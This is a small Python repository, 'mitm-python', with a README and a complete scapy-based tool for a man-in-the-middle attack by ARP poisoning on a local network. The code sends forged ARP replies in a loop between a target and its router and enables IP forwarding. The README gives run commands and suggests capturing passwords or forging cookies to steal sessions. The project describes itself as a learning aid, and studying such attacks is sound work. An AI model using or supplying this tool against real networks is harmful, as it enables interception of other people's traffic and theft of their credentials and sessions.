├── .gitignore
├── README.md
├── app.py
├── docs
└── Man_in_the_Middle.jpg
├── interface
├── __init__.py
├── constants.py
└── mitm.py
└── mitm-python.iml
/.gitignore:
--------------------------------------------------------------------------------
1 | .idea/
2 | *.pyc
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # mitm-python
2 |
3 | A keep it simple project demonstrate how to perform a man in the middle attack with python + scapy.
4 |
5 | 
6 |
7 | ## Requirements:
8 |
9 | - Python version 2.7.13 (recommended), or above ...
10 | - It's recommended to use python virtual env in order to organize the project and manage your dependencies.
11 | - dependencies:
12 | Python fire for command line interface: `pip install fire`
13 | Scapy: `pip install scapy`
14 | libdnet: from git source: `git https://github.com/dugsong/libdnet` or from there's [official site](http://libdnet.sourceforge.net/).
15 | If you are using git source then compile and run with `./configure && make` and the install the model using `python setup.py install`, setup.py can be found at the python directory in libdnet.
16 |
17 | ## Running:
18 |
19 | `python app.py -h` - show help
20 | `python app.py target_ip router_ip interface` - run the attack
21 | Example:
22 | `python app.py 192.168.1.39 192.168.1.1 en0` - en0 is the default interface for OS X.
23 |
24 | Remember:exclamation: the script only using arp poisoning in order to "steal" the session between your target and some access point.
25 | You may want to use Wireshark to inspect the target traffic or different tools for getting passwords or forging cookies for stealing sessions.
26 |
27 | :exclamation: This script made for learning purpose :exclamation:
--------------------------------------------------------------------------------
/app.py:
--------------------------------------------------------------------------------
1 | import fire
2 | import re
3 |
4 | from sys import argv
5 | from interface.constants import SIGNATURE
6 | from interface.mitm import mitm
7 |
8 |
9 | def attack(ip, r, interface):
10 | """
11 | Trigger a man in the middle attack using arp poisoning method
12 | :param ip: target ip address
13 | :param r: router ip address
14 | :param interface: interface to operate on
15 | :return: None
16 | """
17 | if validator(ip) and validator(r):
18 | mitm(ip, r, interface)
19 | else:
20 | raise ValueError(SIGNATURE + 'arguments error, target ip or router ip not follows any ip pattern\n',
21 | 'given: ip=' + ip,
22 | ' r=' + r)
23 |
24 |
25 | def validator(ip):
26 | """
27 | check if a given ip follows ip regex pattern
28 | :param ip: string to validate
29 | :return: true if the string follows the ip regex pattern,
30 | otherwise return false
31 | """
32 | if re.match(r"^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$", ip) is not None:
33 | return True
34 | return False
35 |
36 |
37 | if __name__ == '__main__':
38 | if argv[1] == '-h':
39 | # help
40 | print('\n~~~~~~~~~~~~~~~~~~~~ Help ~~~~~~~~~~~~~~~~~~~~\n')
41 | print('Usage: sudo python app.py target-ip router-ip interface')
42 | print('e.g sudo python app.py 192.168.1.15 192.168.1.1 en0')
43 | print('Note! sudo is required only in case you want enable port forwarding\n'
44 | 'it\'s optional and can be done manually instead on your operating system.')
45 | print('\n~~~~~~~~~~~~~~~~~~~~ End Help ~~~~~~~~~~~~~~~~~~~~\n')
46 | elif argv[1] == '-guided':
47 | # use guided mode, to be implemented soon ...
48 | pass
49 |
50 | else:
51 | # for users who knows exactly what they want
52 | fire.Fire(attack)
53 |
--------------------------------------------------------------------------------
/docs/Man_in_the_Middle.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/daniel4x/mitm-python/27b73ad3367633d7919ebfe5d96c01c24f23fc97/docs/Man_in_the_Middle.jpg
--------------------------------------------------------------------------------
/interface/__init__.py:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/daniel4x/mitm-python/27b73ad3367633d7919ebfe5d96c01c24f23fc97/interface/__init__.py
--------------------------------------------------------------------------------
/interface/constants.py:
--------------------------------------------------------------------------------
1 | """
2 | Constants for mitm
3 | """
4 |
5 | SIGNATURE = 'mitm$ '
6 | OSX = 'Darwin'
7 | LINUX = 'Linux'
8 | MAC_ADDRESS_CLEAN_PATTERN = 'ff:ff:ff:ff:ff:ff'
9 |
--------------------------------------------------------------------------------
/interface/mitm.py:
--------------------------------------------------------------------------------
1 | from scapy.all import *
2 |
3 | from constants import *
4 | from time import sleep
5 |
6 | import sys
7 | import os
8 | import platform
9 |
10 |
11 | def port_forwarding(flag=1):
12 | """
13 | require security privilege (sudoer)
14 | :arg flag: 1 - enable port forwarding
15 | 0 - disable port forwarding
16 | """
17 | flag = str(flag)
18 | if platform.system() == LINUX:
19 | # case we deal with linux os
20 | os.system('echo ' + flag + ' > /proc/sys/net/ipv4/ip_forward')
21 | elif platform.system() == OSX:
22 | # case we deal with OSX - Darwin
23 | os.system('sysctl -w net.inet.ip.forwarding=' + flag)
24 | else:
25 | log('Could not use port forwarding, you may want to try enable it manually...')
26 |
27 |
28 | def get_mac(ip, interface):
29 | """
30 | Retrieve mac address of given ip address within a given interface
31 | :param ip: ip address
32 | :param interface: interface
33 | :return: mac address (Ether.src) field of the packet
34 | """
35 | conf.verb = 0
36 | ans, unans = srp(Ether(dst=MAC_ADDRESS_CLEAN_PATTERN) / ARP(pdst=ip), timeout=2, iface=interface, inter=0.1)
37 | for snd, rcv in ans:
38 | return rcv.sprintf(r"%Ether.src%")
39 |
40 |
41 | def done(ip, r, interface):
42 | """
43 | restoring the session between the targets
44 | :param ip: target ip
45 | :param r: router ip
46 | :param interface: interface to operate
47 | """
48 | log('Restoring Targets...')
49 | victim_mac = get_mac(ip, interface)
50 | gate_mac = get_mac(r, interface)
51 | send(ARP(op=2, pdst=r, psrc=ip, hwdst=MAC_ADDRESS_CLEAN_PATTERN, hwsrc=victim_mac), count=7)
52 | send(ARP(op=2, pdst=ip, psrc=r, hwdst=MAC_ADDRESS_CLEAN_PATTERN, hwsrc=gate_mac), count=7)
53 | log('Disabling IP Forwarding...')
54 | port_forwarding(0)
55 | log('Shutting Down...')
56 | sys.exit(1)
57 |
58 |
59 | def arp_poison(vm, gm, ip, r, interface, cerr=0):
60 | """
61 | do arp poison, if libnet not up yet give up to 10 retries
62 | to let it up
63 | :param vm: victim mac address
64 | :param gm: router mac address
65 | :param ip: victim ip address
66 | :param r: router ip address
67 | :param interface: interface to operate on
68 | :param cerr: optional in case of error (not required by the user)
69 | :return: None
70 | """
71 | try:
72 | send(ARP(op=2, pdst=ip, psrc=r, hwdst=vm))
73 | send(ARP(op=2, pdst=r, psrc=ip, hwdst=gm))
74 | except AttributeError:
75 | if cerr == 10:
76 | log('too much errors handled while waiting libnet, sorry, quiting')
77 | port_forwarding(0)
78 | exit(0)
79 | cerr += 1
80 | # recall with error argument
81 | # this may be required while netlib sometimes loaded after scapy
82 | # while scapy using it as a dependency we get an error
83 | # this recursion prevent error situation
84 | arp_poison(gm, vm, ip, r, interface, cerr)
85 |
86 |
87 | def mitm(ip, r, interface):
88 | """
89 | Executing the man in the middle attack
90 | :param ip: target ip address
91 | :param r: router ip address
92 | :param interface: interface to operate on
93 | """
94 | step = 0
95 | err_map = {0: '[!] Error could not find victim mac address, force quit!',
96 | 1: '[!] Error could not find getway mac address, force quit!'}
97 | try:
98 | port_forwarding(1)
99 | victim_mac = get_mac(ip, interface)
100 | step = 1
101 | gate_mac = get_mac(r, interface)
102 | step = 2
103 | except Exception as e:
104 | port_forwarding(0)
105 | log(err_map[step]) # print error by the error dictionary
106 | log("[!] Exiting...")
107 | sys.exit(1)
108 |
109 | log("Poisoning Target ...")
110 | while 1:
111 | try:
112 | arp_poison(victim_mac, gate_mac, ip, r, interface)
113 | sleep(1.5)
114 | except KeyboardInterrupt:
115 | done(ip, r, interface)
116 | break
117 |
118 |
119 | def log(msg):
120 | """
121 | logging a message with signature
122 | :param msg: msg represented as a string
123 | """
124 | print(SIGNATURE + msg)
125 |
--------------------------------------------------------------------------------
/mitm-python.iml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
--------------------------------------------------------------------------------